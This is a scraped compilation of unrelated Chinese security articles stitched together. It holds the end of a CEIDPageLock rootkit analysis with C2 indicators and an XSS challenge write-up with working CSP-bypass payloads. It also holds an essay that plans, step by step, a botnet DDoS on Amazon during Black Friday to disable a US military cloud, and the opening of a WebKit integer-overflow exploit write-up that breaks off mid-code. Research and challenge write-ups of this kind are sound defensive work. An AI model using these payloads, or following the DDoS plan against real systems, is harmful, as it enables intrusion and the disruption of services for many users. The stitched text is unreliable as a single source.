释放的驱动文件使用的是浙江恒歌网络科技有限公司签名的证书。但该证书已经被发布者撤销授权。
在注册和开始驱动后，dropper会发送受感染主机的mac地址和用户id到域名`www[.]tj999[.]top`，使用的header为`GET
/tongji.php?userid=%s&mac=%s HTTP/1.1`。
# Driver
驱动是一个32位kernel模式的驱动，在开机时会在标准系统驱动同进行启动。驱动文件非常静默，使用的一些技巧来绕过终端安全产品的检测。其主要功能是连接到2个硬编码的C2域名来下载期望的主页配置文件。用下面的header来从C2服务器下载加密的主页：
图2: 向C2服务器请求主页的header
解密的主页是`588[.]gychina[.]org`，劫持的主页URL是`111[.]l2345[.]cn`。伪装成`2345.com`，但会收集受害者主机的数据，攻击者可以从用户的每次查询中获利。
图3: 劫持的主页
图4: 劫持的主页源代码
# 两个不同版本的区别
与第一个版本相比，新版本的rootkit是用VMProtect打包的，这会让对恶意软件的分析和解包更难，尤其是对kernel模式的驱动。
图5: 对每个API调用的VMProtect混淆
新版本的加入的一个主要方法是重定向，即当用户尝试访问主流的中文网站时，会发送虚假主页给受害者。Rootkit开始时会打开`\\Driver\\AFD`，然后使用`AfdFastIoDeviceControl`方法。使用这种方法，rootkit会检查下列字符串的出HTTP消息：
图6: 在重定向到劫持主页的url中搜索的字符串
在HTTP包中找到的字符串，rootkit会将其添加到重定向进程列表中。然后，rootkit会检查每个接收到的消息，如果调用recv方法的进程在该列表中，就修改相应的内容为111[.]l2345[.]cn页面的内容。该方法比真实的HTTP重定向更加隐蔽，因为浏览器中显示的URL并未被改变。
图7: Sohu.com重定向劫持页面
图8: Sohu.com重定向改变了源页面
360对CEIDPageLock老版本的分析结果是会拦截浏览器访问反病毒文件。新版本中，CEIDPageLock会加入一些反病毒文件到该方法中：
图9: 新旧版本中“access disabled files”方法的区别
恶意软件开发者在360安全产品的safemon中加入了一个创建注册表的方法，作为rootkit安装过程的一部分。Rootkit会将注册表`\Registry\Machine\Software\Wow6432Node\360Safe\safemon\ATHPJUMP`的值设为0。
图10: Safemon注册表创建方法
# 结论
乍一看，开发一个浏览器劫持并引用VMProtect这样的保护措施的rootkit看似杀伤力有点大。但这种简单的恶意技术盈利能力却非常大，因此攻击者就值得投入大量的精力来创建一个静默和持久地工具。
CEIDPageLock看起来有点麻烦，而且并不危险。但其在受感染的设备上执行代码的能力和恶意软件的驻留特性，使其成为一个完美的后门。
**IOCs:**
www[.]tj999[.]top
42.51.223.86
118.193.211.11
**MD5:**
C7A5241567B504F2DF18D085A4DDE559 – packed dropper
F7CAF6B189466895D0508EEB8FC25948 – houzi.sys
1A179E3A93BF3B59738CBE7BB25F72AB – unpacked dropper
更多请参见360的分析：<http://sh.qihoo.com/pc/9d1dd4ec0f3486019?sign=360_e39369d1> | 社区文章 |
## 前言
在过去的几年中，无括号的XSS向量被一些研究人员热议。
在已知的payload中,利用有限字符集执行任意XSS并不少见。其中一种最简单的payload如下：
location=name
该payload再结合上window.name将重定向到'javascript：alert()'
URL并执行存储在window.name中的任意XSS，足以满足上述需求。
但是我试图填补研究中的空白，那就是针对严格的内容安全性策略（CSP）执行任意无括号的XSS
## XSS挑战
研究的结果是，我在Twitter上发起了XSS挑战，已经有7个人解决了其中的挑战，其中6个人执行了任意XSS。挑战的目标是仅使用有限字符集[a-zA-Z$_=.\u007f-\uffff]中的字符并使用严格的CSP策略来执行任意XSS
：
default-src'self';
script-src'self';
这将成功阻止任何内联代码（例如location=name,<svg/onload=alert()>）以及字符串评估器的执行——例如eval("alert()")，Function("alert()")()。
但是，最初的挑战可以通过比预期容易的方式解决，这仅证明绕过CSP可以通过几种方式来完成。我发布了一个修复版本，该版本限制了注入重用脚本并简化了代码。修复版本仅由Roman（@shafigullin）和Ben
Hayak解决，其中Roman提出了预期的解决方案，Ben巧妙地重用了挑战定义的某些功能以实现相似的结果。
## 解决方案
解决方案可以分为几个重要步骤：
1.控制回调函数中的方法
2.发现Unicode 行终止符 U + 2028和U + 2029
3.将任意HTML注入页面
4.制作有效载荷以执行任意XSS
5.绕过严格的CSP
对于“长文”版本，这是最终的PoC。
### 控制回调函数中的方法
这一步非常简单。为了将代码注入到回调端点中，您必须使用%26cb==alert
[[PoC]](https://harderxss.terjanq.me/?t=%26cb%3D%3Dalert)
### 发现Unicode行终止符
Unicode行和段落分隔符（U + 2028和U +
2029）可用作JavaScript中的行终止符，例如，eval('x=123\u2028alert(x)')将弹出alert。
### 将任意HTML注入页面
为了使挑战既不依赖window.name也不依赖location.href，在脚本开始时，我限制了两者的使用。令我惊讶的是，事实证明，绕过这两个限制对于大多数参与者来说比预期的要难，这导致参与者发现了一些很酷的技巧。
在[没有括号XSS](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)的项目中，可以找到一种非常酷的技术，用于将任意HTML注入到页面，即：
document.body.innerHTML = location.search;
document.body.innerHTML = document.body.innerText;
//in URL：?< img / src ="x" / onerror = alert（23）>
因为location的使用受到限制，所以预期的方法是改为使用document.referrer。
在我的解决方案中，我使用了
<img/id ="x"title ="alert(top.json.secret)">
这将生成：
<img/id ="x"title ="alert(top.json.secret)">
在innerHTML-> innerText链之后。
### 为任意XSS执行制作payload并绕过严格的CSP
这可能是最艰难的一步，因为它需要同时考虑CSP旁路和任意XSS执行。这也是我自己研究主题时花费最长的步骤。
由于前两天在挑战方面没有取得进展的参与者很多，所以我在[Twitter](https://twitter.com/terjanq/status/1286059146509516800?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286059146509516800%7Ctwgr%5E&ref_url=https%3A%2F%2Fcdn.embedly.com%2Fwidgets%2Fmedia.html%3Ftype%3Dtext2Fhtmlkey%3Da19fcc184b9711e1b4764040d3dc5c07schema%3Dtwitterurl%3Dhttps3A%2F%2Ftwitter.com%2Fterjanq%2Fstatus%2F1286059146509516800image%3D
"Twitter")上发布了隐晦的提示。
这本来是一个提示，但是Roman很快证明了该技术可用于挑战，即使我之前测试了该技术也无法解决该问题。我将在文章的最后一部分中详细说明。
该技术的关键问题是，如果直接使用该技术时，它将被CSP阻止。解决方案中最重要的步骤之一就是绕过CSP。
* 反向代理来拯救
尽管所有的子页面都设置了严格的CSP标头，但我们仍可以在未设置这些标头的同一域中加载页面，这就要看反向代理是如何工作的。如果将反向代理与请求混淆，它将不会将请求转发到后端应用程序，因此将不会设置CSP标头。例如，harderxss.terjanq.me
/%2f抛出“Not Found”，而/%GG则抛出“ Bad Request”，因为它无法对％GG字符串进行Url
decode。还有一些其他的办法，使反向代理停止类似的要求。超长URI或过长的请求头(如Referer或Cookie炸弹)。
* 没有CSP的iframe
实际上如果我们使用了/%GG不会设置CSP，并以以下方式注入了iframe：
document.body.innerHTML ="<iframe name=x src=%GG>%
x.eval("alert(location.href)")
看起来它可以绕过CSP，但实际上，它不会。*实际上，它确实绕过了Chromium中的CSP，这是我在研究过程中发现的，并且已经由外部研究人员进行了报道。
* 为什么不起作用?
将iframe注入DOM后，它处于空白状态，在事件循环中等待加载。例如，x.eval('alert(location.href)'),该payload将弹出带有about:blankURL
的alert，而不是期望的alert
%GG。由于空的iframe位于同一个域内，并且不是来自网络，因此会从其父级继承CSP，因此在挑战中该调用将被CSP阻止。
* 为什么不等待iframe加载呢?
目标很简单，等待iframe加载，然后执行payload。这简单吗？您如何等待iframe加载？
在我最初的解决方案中，我将onerror + throw技术与原型覆盖技术相结合以实现目标。
让我们看看下面的代码会发生什么：
document.body.innerHTML ="<iframe id=i src=data:,1>"
i.onload = atob
我们可以在下面的屏幕截图中看到，这将引发调用错误，因为atob希望在Window对象上调用，但是在Iframe上调用了。我在文章的最后一部分中详细解释了它的工作方式。
因为其中一项规则是要在Chrome和Firefox上都实现任意XSS，所以让我们看看在两个浏览器上将作为参数传递的错误是什么。
Firefox上的调用错误:
Chrome上的调用错误:
我们可以注意到Chrome和Firefox之间存在细微差别。Chrome中的错误将以Uncaught
TypeError开头：而Firefox中的错误将以TypeError开头：尽管消息有所不同，但它们都共享相同的错误类型，即TypeError。让我们尝试覆盖它的原型，以便它返回消息的受控部分。
我们可以在上面的屏幕截图中看到，当TypeError.prototype.name更改为任意字符串时，错误消息现在将在Firefox中以“
alert(/1337/）//:”开头。同样，Chrome中的“Uncaught
alert(/1337/)//:”。为了使payload在两个浏览器中同时工作，我精心设计了一个简单的多语言版本
TypeError.prototype.name ="-alert(1337);var Uncaught//"
eval后，将在两个浏览器中触发alert。
* 但是如何进行eval？
由于iframe
%GG没有受CSP保护，因此我们可以eval其中的字符串。为此，只需替换onerror=e=>console.log(e)为onerror=i.contentWindow.eval，它将在%GG
iframe中进行eval，因此会弹出alert！
最终的payload看起来像本节开头的图片，可以在此处查看完整的[payload](https://solutions.terjanq.me/2020-07-20-terjanq/index.html)。
## 替代解决方案
如前所述，如果有人已经发现如何绕过CSP，我的提示恰好是解决方案。这是由于在公开前遗漏测试了这种方法：）但是，只有两个参与者设法将提示应用到了挑战中。
让我们快速看一下，如果用setTimeout替换eval，那么我的payload将如何处理。
令人惊讶的是，即使它似乎是在没有CSP的iframe中执行的，它也会被CSP阻止。
* 为什么会这样呢？
让我们看看尝试将setTimeout直接分配给onload事件时会发生什么。
如上图所示，它会引发调用错误，并提示以下消息：调用“
setTimeout”的对象未实现Window接口。我们可以从最后的两个截图中了解到setTimeout期望在Window对象上被调用。这是setTimeout和eval之间的关键区别。后者绑定到window，不需要this指向任何东西。
鉴于此，我认为前面提到的setTimeout技巧在挑战中不起作用。我没有意识到有一个功能实际上允许在iframe上下文中调用setTimeout。下面的两个示例显示了两个不同的onload处理程序如何返回两个不同的上下文。
当iframe处于空白状态时，在事件循环中等待加载，即使在浏览器开始从服务器下载iframe的内容之前，也可以在窗口上定义其onload事件！这是我所不知道的，也是我从Roman中学到的，它通过使用略有不同的方法以类似的方式解决了难题：)显然，只有在加载的iframe位于同一源时，这种情况才会发生违反SOP。
最终的有效负载如下所示：
[原文地址](http://suo.im/5LoJTx "原文地址")
原作者：terjanq | 社区文章 |
# 黑客思维养成记——以迂为直
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：閦蠱[@Duncan](https://github.com/Duncan "@Duncan") SecTeam
## 0x.00.引言
《孙子兵法》云“军争之难者，以迂为直，以患为利”。这句话所蕴含的哲理是：进攻时，直奔最终目的而去未必是最好的，以退让、回避而取胜，往往是最难以达到的至高境界。其实，在黑客的攻击路线图中，“以迂为直”也同样是一种至高境界。刚好，最近币市暴涨，我也借着这个机会蹭蹭热度，分享一下自己关于“以迂为直”攻击思路的看法，如有不对或者冒昧之处，敬请指教。
## 0x01.币安“惊魂夜”
2018年3月7日深夜，数字货币市场爆发一场震动，多种加密货币暴跌，而“山寨币”VIA大涨。很多人都以为是交易所联合一众的庄家在联手割韭菜，导致币市大幅波动。但是，这次却完全出众人之所料。与之前割韭菜所不同，这次币市暴跌来的极其突然，诸如比特币之类的主流加密货币暴跌之前有一个小众币种（在当时疯狂的行情下，甚至可以说得上是个山寨币）VIA交易量则异乎寻常的暴涨。币安网在3月8日早间发布的公告中称，在香港时间3月7日22:58-22:59两分钟内，VIA/BTC交易对异动，触发风控，自动停止了提币。这是一次大规模通过钓鱼获取用户账号并试图盗币事件。目前，所有资金安全，无任何资金逃离。如果一切如币安所言，那么这就是一次针对币安交易所的黑客攻击行为。下图，为币安2018年2-4月，VIA/BTC交易对的价格走势，其中陡增的奇点就发生于3月7日。
截图自：<https://www.jiemian.com/article/2314305.html>
下面的截图，可以帮助大家更清晰、直观的了解“那一夜”：
截图自：<https://www.jiemian.com/article/2314305.html>
或许，一些朋友也跟我一样对于炒币，交易所以及做空等概念不太了解，那么我们先简单介绍一下这些概念，便于后面我们深入分析黑客是如何利用“以迂为直”的思路来实施攻击并试图非法获利的。
### 1.1：加密数字货币ABC
加密数字货币交易所：
——这个概念类似于股票交易所，聚集了一帮试图通过“低买高卖”的方式来获利的交易者的机构/场所。当然，由于加密数字货币的特殊性，这种交易所是365*24全年无休的模式来运营的，也就是说逢年过节股市停盘的时候，来自全世界各个地方的网民依旧可以随心所欲的炒币，没有所谓的熔断机制。
——目前，全世界最有影响力（数字资产最多）的交易所都是中心化模式运营的，也就是说炒币者在交易所内部的买卖并没有发布到区块链上，而是全部记录在交易所位于全世界各个地方的服务器以及备份服务器之上。这也就是为什么币安可以回滚数据，抹平黑客所造成的直接损失的原因。目前，去中心化交易所概念非常火，但是现实却极其残酷。
交易所认证机制：多因子认证（MFA）
——交易所账号登录密码：用户在注册币安等交易所时个人设定的密码。交易所会对密码复杂度进行检查，减少用户被黑客暴力破解的可能性。
——交易密码：类似于支付宝、微信等的付款密码，但并非每一个交易所都会要求用户设置交易密码，比如币安。当然，交易所对这个密码的检查会更加严格，一方面要尽量排除弱口令，另一方面还不得与账户登录密码过于相似。
——短信验证码：一方面，短信验证码用于用户忘记密码时修改密码之用；另一方面，对于提币等操作是必须要短信验证码的，部分交易所甚至还要求提供邮箱验证码。
——邮箱验证码：如上所述，作为提币时多因子认证中的一个环节。
——API交易密码：用户通过编程调用币安交易所提供的API执行查询，交易及提款类操作所需密码。一旦黑客获得了API调用所需要的密码，则非常可怕！
图片自：互联网
截图自：<https://www.jiemian.com/article/2314305.html>
——Google 验证：基于Google Authenticator
APP的验证，需要下载APP并按照交易所指定的要求配置，最终效果类似于工农中建等银行提供的电子口令卡。
——安全设备验证：没有去研究过，应该是类似U盾之类的东西，用于存储私钥（如若此处有误，还请不吝赐教）。
加密数字货币的各种操作：
——充币：将特定的加密数字货币转移到交易所账户上。用户在交易所的特定币种账户往往不是该加密数字货币真正的在线账户，因为充值到该账户上的货币，全部都到了交易所自己的账户上，用户充值的结果只是反映在交易所为用户创建的内部账户上，对交易所而言只是数据库中的一个记录而已。这样，一旦发生黑客入侵事件，交易所可以通过回滚数据的方式，尽肯能减少黑客攻击所在成的损失，例如币安在“VIA暴涨”事件中的操作。
——提币：对于交易所而言，提币操作是极为敏感的，就目前情况而言，提币操作至少需要涉及到账户登录密码，交易密码以及手机验证码，部分交易所甚至会涉及到邮箱验证码。提币申请受理以后，交易所会用自己的加密数字货币账号向用户指定的收款地址转移加密数字货币。在此过程中，交易所会收取一定的手续费，另外会将提币信息和成功提币信息以手机短信甚至包括邮件形式告知用户（为了避免任何可能的责任，交易所也是拼了）。
——够买加密数字货币：目前，在任何一个交易所中，购买加密数字货币都必须使用特定基础加密数字货币，例如比特币，以太坊，交易所自身推出的平台代币（比如，币安的BNB，BUSD）等。购买加密数字货币是否需要用户输入交易密码呢？不一定！就币安而言，他们对比没有要求，也就是不需要输入交易密码的。对于其它交易所而言，有些是需要交易密码的，比如币赢等平台。至于为什么会有这种区别，我没有进行过深入分析，也就没法给出任何结论，希望研究加密数字货币或者交易所安全的朋友可以指教一下。
——卖出加密数字货币：用户将持有的某种加密数字货币以特定价格卖掉，并得到一定数量的其它类型加密数字货币。同前述操作一样，各个平台对于卖币操作是否需要输入密码也是持有不同的态度，有的不需要输入交易密码，有的则要求输入交易密码。
——做空：这个概念与证券领域的做空有相似之处，即卖家先从第三方机构借出N个加密数字货币，然后以H价格抛出，待比价将至L价格时，再全额买入M个该加密数字货币，换掉从第三方借来的N个，剩余的（M-N）个加密数字货币即为盈利。当然，如果价格H低于L，那么卖家就会爆仓（亏钱）。除此之外，还有合约做空，期权做空等等做空手段，由于更多涉及到金融知识，在此就不过多赘述。所有这些合计做空操作的未成交买卖都叫做“空单”，可以简单理解为出于做空目的而发起的买卖交易。
### 1.2：关于攻击的技术分析
币安，作为全球最大的加密数字交易所之一，其在网络安全上的重视和投入，虽然无“据”可寻，但是但凡对网络安全有最基本的了解，就可以想象币安在网络安全上的投入力度会有多大。当然，币安为了应对全球范围内的高频交易，其在安全与效率之间也必然会做出适度的妥协，比如并未对用户的买卖操作进行“交易密码”验证，可以使用API进行无人值守、高频快速交易。但是，任何的提币操作都会触及币安交易所敏感的神经。关于“3.7比特币暴跌”事件，就币安给出的分析报告以及币安CEO赵长鹏在社交媒体给出的回复，我们大致知道以下事实（至少币安官方层面认可的）：
1、 前期，有黑客通过网络“钓鱼”等手段获取了币安用户的API交易密码，但是并未说明黑客是否获取了用户的API提款密码。
截图自：<https://awtmt.com/articles/3246621?from=wscn>
2、 币安对涉及此次攻击的相关币种交易记录进行了回滚。
截图自：<https://awtmt.com/articles/3246621?from=wscn>
3、 赵长鹏声明币安没有任何损失，而且发起攻击的黑客“有趣的是，黑客在此次攻击中损失了货币”。
截图自：<https://awtmt.com/articles/3246621?from=wscn>
根据币安官网提供的以上三点信息，结合前面币安的认证管理，我们可以做出以下合理推断：
1、 黑客针对币安的攻击很可能是为了窃取币安的数字资产，而不是为了勒索RMB或者US
Dollars。同年，币安又遭受了一次类似的攻击，从互联网上查找的数据来看，这两起攻击行为极其相似，做一个大胆的推测：这两次攻击为统一团队多为，第一次是冲着币去的，第二次很可能是“听了“李笑来的意见，纠结了更多资金，通过场外做空单的方法，“以迂为直”非法获取利益（如有雷同，纯属巧合）。
2、
由于币安在2018年之前就已经对用户进行了身份信息采集（针对中国地区，主要是采集身份证及人像信息）。当然，能够发起这次“突袭”的黑客想必也是知道这一点的，因此大概率不会从自身掌控的账号提取数字资产。极有可能通过非法途径购买了或者窃取了一些可以操控的、能够提币的账号。
3、
再者，包括币安在内的几乎所有交易所对于提币操作极其敏感，都采用了多因子认证方式来确保提币的安全性。那么，黑客也应该是知道这一点的，所以他们应该大概率不会想着去劫持遍布全球的币安客户的短信、邮件验证码。毕竟，截止验证码的攻击难度和代价实在太大了。
4、
在明知无法安全地从币安提取数字资产的情况下，也就是说黑客压根儿就没法从币安拿走一个子儿的情况下，黑客会冒着入狱的风险去发起黑客攻击吗？从经济学上“理性的人”来考虑，黑客是不会这么干的。
5、 如果以上4点都成立的话，那么黑客发动攻击到底有没有获利？如果获利了，是通过什么渠道获利的？大概获利了多少呢？
### 1.3：假如我是黑客？
站在一个或者一群理性人的角度来思考问题，我必然会选择代价最小的攻击路径，当然这必将以牺牲最终的受益或者获取最终受益的时间为代价。举个例子，在直接从币安提币和李笑来先生所言“在别的平台挂空单”这两者之间，我会毫不犹豫的选择后者。因为，直接从币安提币既要面临后期币安团队通过法律途径追究刑事责任的巨大风险，同时还需要付出更大的技术代价来截取提币所需的短信及邮箱验证码，这样的攻击思路必然带来更大的风险，就有点像“用一百个谎言才能圆上一个已经说出口的谎言”。
出于一个理性人的角度，我该如何通过攻击币安而不被轻易发现，就算被发现币安也不会进一步大费周折的深挖攻击源头，同时还能把“钱（币）”给挣了呢？刚才，李笑来先生所提到的挂空单绝对是一条康庄大道！此外，网上还有人指出可以通过低买高卖的方式，提前埋伏VIA然后高点出货牟利。
图片自：互联网
截图自：<https://www.zhihu.com/question/268385832>
那么，接下来黑客攻击最精妙的地方就来了——做空比特币，同时做多VIA！注意，这两者之间并不矛盾，至少对于黑客而言，做空比特币和做多VIA两者都是可以谋取暴利的。于是，黑客选择了在2018年3月7日晚，通过其控制的币安账户，以API交易的方式，利用其控制的比特币不断买入VIA，短短三分钟内将VIA推涨100余倍。虽然，币安通过其交易监控系统（这系统应该还不赖）及时发现了这些受控交易，但是并没有第一时间回滚数据，毕竟回滚这事儿对于运维而言是天大的事儿，没有赵长鹏点头甚至是他本人N因子安全认证的情况下，估计币安没有谁敢动这念头。此时，币安内部应该会启动紧急响应措施，冻结或者关闭各种渠道的提现(提币)操作，待摸清情况并且定位出受影响的账户后，再执行的回滚操作。
但是，哪怕只有三分钟的时间，VIA已经被推到百倍之高的价格。哪怕只是按照做多的思路，如果黑客提前埋伏了总价100万美元的VIA，经过这一波“以迂为直”的攻击操作，其到手美金已经超过1亿。如果黑客再伙同一些持有巨大资金但又不敢轻易牵扯其中的黑产团队或者地下钱莊，大家一起联手挂空单，这么一波操作就可能搞个十几亿甚至几十亿（纯属个人臆测，如有雷同，纯属巧合）。
### 1.4、“以迂为直”的大智慧
正如孙子兵法所言，真正的赢家是“不战而屈人之兵”，真正的大智慧则是不直捣黄龙，而黄龙不复生！从我个人对币安“3.7”事件来看，这帮黑客不仅是身手了得，而且应该是熟读兵法，能够将千年前的兵家计谋应用于21世纪。再者，如果黑客真的一开始就想到了而且就冲着做空比特币而去，那么这个团队更是牛上加牛了，不仅能够熟练运用兵法，还可以运筹于千里之外。
## 0x02.沙盘推演——绞杀“九头蛇”
### 2.1、美军的JEDI
2020年，微软公司获得了美国军方100亿美元的大单，借助其先进的Azure云技术为美国军方构建下一代联合作战系统——“作战云”（准确说法是“联合企业防御基础架构”，即Joint
Enterprise Defense
Infrastructure，JEDI）的基础构架。这一项目的初衷是利用云计算架构为支撑，构建美军在互联网环境下的新一代作战体系（逐步替换传统的数据链技术）。当然，一提到美国的云计算厂商，大家最为熟悉的可能并不是微软的Azure，而是大名鼎鼎的亚马逊弹性云（Amazon
Elastic Compute Cloud，Amazon
EC2）。其实，一开始美国军方最倾向的也是亚马逊的弹性云，并且在一期投标的时候所给出的云服务解决方案也是最出众的。正是如此，此番亚马逊意外落马也着实让业界颇为意外，以至于国内云计算以及网络安全相关的站点都在得知此事后大篇幅反复报道。说这些了，一方面是给大家简单介绍一下JEDI的背景，另一方面也正好接着这个话题“推演”一下：假如亚马逊获得了JEDI订单，我们如何通过“以迂为直”的攻击思路干掉邪恶的“九头蛇”。
Pentagon & JEDI
### 2.2、我们能够绝杀“九头蛇”吗？
正如我们上文假设的那样，我们预期的目标是瘫痪掉整个部署于亚马逊弹性云上的JEDI服务。那么该如何一步一步实现这个目标呢？从常规思路来看，一步一步渗透亚马逊，控制亚马逊的各种关键数字资产以及网络设备，在特定时段是有可能致使JEDI完全瘫痪的。另一种思路，我们不去对亚马逊实施任何精准的点对点渗透，而是在特定的时间节点耗尽EC2的计算资源和网络资源，这样一个无法被取用的JEDI与一个完全瘫痪的JEDI几乎等同。显然，第一种思路是硬碰硬的、直捣黄龙式的强攻，而第二种方法则是体现了“以迂为直”思路的另类智慧。
再者，我们从攻击的代价（难易程度）来分析。在攻防对抗的情形下，攻守双方若要达到均衡态势，通常防守方要三倍于攻击方的付出。从这一点来看，第一种攻击思路看起来有利于攻击方，但若充分考虑亚马逊的技术和资金优势，再加上美国军方网络战技术的绝对优势，其实第一种思路哪怕让以色列8200部队（以色列的王牌网络部队，Citrix和Palo
Alto的老板都出自该部队）也未必能旗开得胜。反观第二种思路，由于避开了亚马逊以及美军的全部锋芒，只需要想办法耗尽亚马逊EC2的几乎全部计算及网络资源即可，从某种意义上来说是完全可行的。我想大家还记得2017年，美国域名服务商DYN因遭受数百万台IoT设备的DDoS攻击，最终大致美国互联网半壁江山全部瘫痪的梗吧。
Kill the Hydra
### 2.3、沙盘推演
亚马逊闻名于世的东西有两样：全球最大的网购平台以及全世界最先进的云计算平台。其实，两者是互相促进的，可谓相辅相成。但是，中国有句老话叫做“物极必反”，看似相辅相成的事物在特定时间和环境下，可以立马撕破脸（撕逼），转身变为“相生相克”。
EC2 & “Black Friday”
“亚马逊宣布,在2020年终购物季中全球线上消费势头强劲,涵盖“黑色星期五”及“网购星期一”的购物季再次成为其史上最大的年终全球狂欢。在中国,亚马逊海外购销售表现亮眼,在“黑色星期五”当日,亚马逊海外购销售额高达今年11.11当日销售额的3倍;同时,在“黑五”海外购物节“巅峰6日”的首日,亚马逊海外购销售额即实现双位数增长;此外,在“巅峰6日”大促期间,亚马逊海外购微信小程序商店销售额也大幅攀升,同比实现了翻番。”
从阿里云云栖号在知乎上发的文章中，我们可以得知2020“双十一”的一些数据，应该可以作为一个参照物，近似推断出亚马逊“黑色星期五”的体量。2020年，“11月11日0点刚过26秒，天猫双11的订单创建峰值就达到58.3万笔/秒，阿里云又一次扛住全球最大规模流量洪峰！58.3万笔/秒，这一数字是2009年第一次天猫双11的1457倍。”“热线小蜜2020双11的外呼目标是当天外呼规模1000w+，期间日均300w+。呼入目标是全月满意度平均60%，日均转人工量5.4w”。当然，这一篇文章《阿里突遭断网断电！双11最惊险一幕刚刚曝光》也在一定程度上暴露了阿里巴巴在近似极限网络条件下能够承受（消化吸收）的攻击量级。从文章内容来看，这种模拟攻击与DYN遭受的攻击应该不在一个数量级上。
目前，我尚未查到2020年亚马逊“波及”全球的“黑色星期五”（等同于我们阿里巴巴的“双十一”）具体的网络数据，单从前文给出的数据来看
## 0x04.沙盘推演——绞杀
STEP
1：利用类似“DYN事件“中的方法，使得亚马逊位于全世界主要市场（欧洲，日本，韩国，中国）的镜像站点无法访问。此时，所有流量必然被引导到美国本土。从2016年DYN事件披露的情况来看，“这次攻击利用了百万台Mirai僵尸网络控制下的IoT设备，以高达1.2TBps的峰值流量淹没了Dyn公司的DNS服务，令其无法响应对客户网站的DNS请求。”虽然，对Dyn公司的攻击并没有以任何方式影响到Google，PayPal或twitter服务器，但平时懒得记网站IP而只记域名的普通用户还是无法访问这些网站，因为负责解析这些域名的DNS服务无法响应了。由此看来，完全可以在不触碰亚马逊位于全球各个主要市场的服务器的情况下，在“黑色星期五”将全球范围内访问亚马逊的绝大部分流量导流到美国主站。
Times of IoT
STEP 2：采用低成本的DDoS攻击手法，尽可能瘫痪亚马逊美国站点的网络资源。虽然亚马逊EC2在美国本土仍有极大的算力和网络带宽弹性，但是在完成“STEP
1”攻击之后，即便其能抗住正常的网页请求，仍难躲过“压垮骆驼的最后一根稻草”！利用“Step
1”中的DDoS流量，持续消耗亚马逊美国主站带宽。如前文所说，DYN攻击事件中最大流量已经突破1.2TBps，而且这一数字还只是2016年的，较之彼时，如今全球范围内IoT设备应该已经翻倍。那么，若此时针对亚马逊复盘DYN攻击，峰值流量达到2TBps应该毫无压力。
DYN Attacked by DDoS Based On IoT Dev
STEP
3：至于计算资源，我们可以将攻击的时间节点设定在“黑色星期五“开始的第一天凌晨零点，这样被引导到美国本土的正常网购流量足以摧毁亚马逊的本土算力。此外，我们可以编写恶意脚本模拟“将商品放入购物车”的操作（触发主页跳转只登陆界面，造成二次攻击），这样能够进一步消耗其计算和存储资源。
STEP
4：在全球主要市场的网购流量被引导到美国的时候，估计亚马逊EC2已经到达了崩溃的边缘，至少算力被极大消耗，甚至接近枯竭。在这种极限施压的情况下，亚马逊必然会开始溃退，压缩一切非核心业务的带宽，算力以及存储。就算EC2为邪恶“九头鸟“的JEDI预留了不可挤占的计算，甚至挤占其平台为私营企业提供的云计算服务，但全球主要市场消费者的流量足，外加黑客可能采取的低成本DDoS攻击，亚马逊的EC2应该没有喘息的余地。
STEP
5：皮之不存，毛将焉附！当亚马逊在全球网购用户的疯狂“刷新”以及IoT设备DDoS火上浇油的情况下，亚马逊已经半死不活，DEFI能够独善其身吗？从我有限的认知来看：不能！
## 0x05：其他
其实，在网络攻防领域还有其他一些技术性的例子，其实也可以看出“以迂为直”的思想，比如旁注！
## 0x06：引用
1、“入侵币安，黑客卷走7个亿，“亦来云”多空血战，背后是一场币圈“无间道”？
”. <https://www.sohu.com/a/225163060_380621>
2、币安被盗都传遍了，可背后的阴谋你知道吗！<https://cloud.tencent.com/developer/news/135562>
3、如何评价 2020
双十一阿里云抗住了「全球最大流量洪峰」？背后有哪些有趣的信息点？<https://www.zhihu.com/question/429722858>
4、阿里突遭断网断电！双11最惊险一幕刚刚曝光.<https://www.qbitai.com/2020/11/19787.html> | 社区文章 |
# 【技术分享】如何利用JavaScript数组扩展中的整型溢出漏洞（WebKit）
|
##### 译文声明
本文是翻译文章，文章来源：phoenhex.re
原文地址：<https://phoenhex.re/2017-06-02/arrayspread>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面的话**
我将在这篇文章中给大家介绍有关漏洞[CVE-2017-2536](https://support.apple.com/en-us/HT207804)/[ZDI-17-358](http://www.zerodayinitiative.com/advisories/ZDI-17-358/)，这是一个典型的整形溢出漏洞，当系统在计算分配空间的尺寸大小时，该漏洞将有可能导致堆缓冲区溢出。我们不仅给大家提供了一个“短小精悍”的漏洞PoC，而且我们还设计出了针对Safari
10.1的完整的漏洞利用方案，所以一切将会非常的有趣！
注：该功能原本是为了让JavaScriptCore能够更好地处理ECMAScript
6的扩展操作而设计的，但saelo在今年二月份发现了其中存在的安全问题。【[参考资料](https://github.com/WebKit/webkit/commit/99ed47942b1dcf935accb23b355bc8a2e93650c9)】
**漏洞分析**
下面就是JavaScript在进行[数组扩展操作](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Spread_operator)时构建新数组所要用到的代码：
SLOW_PATH_DECL(slow_path_new_array_with_spread)
{
BEGIN();
int numItems = pc[3].u.operand;
ASSERT(numItems >= 0);
const BitVector& bitVector = exec->codeBlock()->unlinkedCodeBlock()->bitVector(pc[4].u.unsignedValue);
JSValue* values = bitwise_cast<JSValue*>(&OP(2));
// [[ 1 ]]
unsigned arraySize = 0;
for (int i = 0; i < numItems; i++) {
if (bitVector.get(i)) {
JSValue value = values[-i];
JSFixedArray* array = jsCast<JSFixedArray*>(value);
arraySize += array->size();
} else
arraySize += 1;
}
JSGlobalObject* globalObject = exec->lexicalGlobalObject();
Structure* structure = globalObject->arrayStructureForIndexingTypeDuringAllocation(ArrayWithContiguous);
JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, structure, arraySize);
CHECK_EXCEPTION();
// [[ 2 ]]
unsigned index = 0;
for (int i = 0; i < numItems; i++) {
JSValue value = values[-i];
if (bitVector.get(i)) {
// We are spreading.
JSFixedArray* array = jsCast<JSFixedArray*>(value);
for (unsigned i = 0; i < array->size(); i++) {
RELEASE_ASSERT(array->get(i));
result->initializeIndex(vm, index, array->get(i));
++index;
}
} else {
// We are not spreading.
result->initializeIndex(vm, index, value);
++index;
}
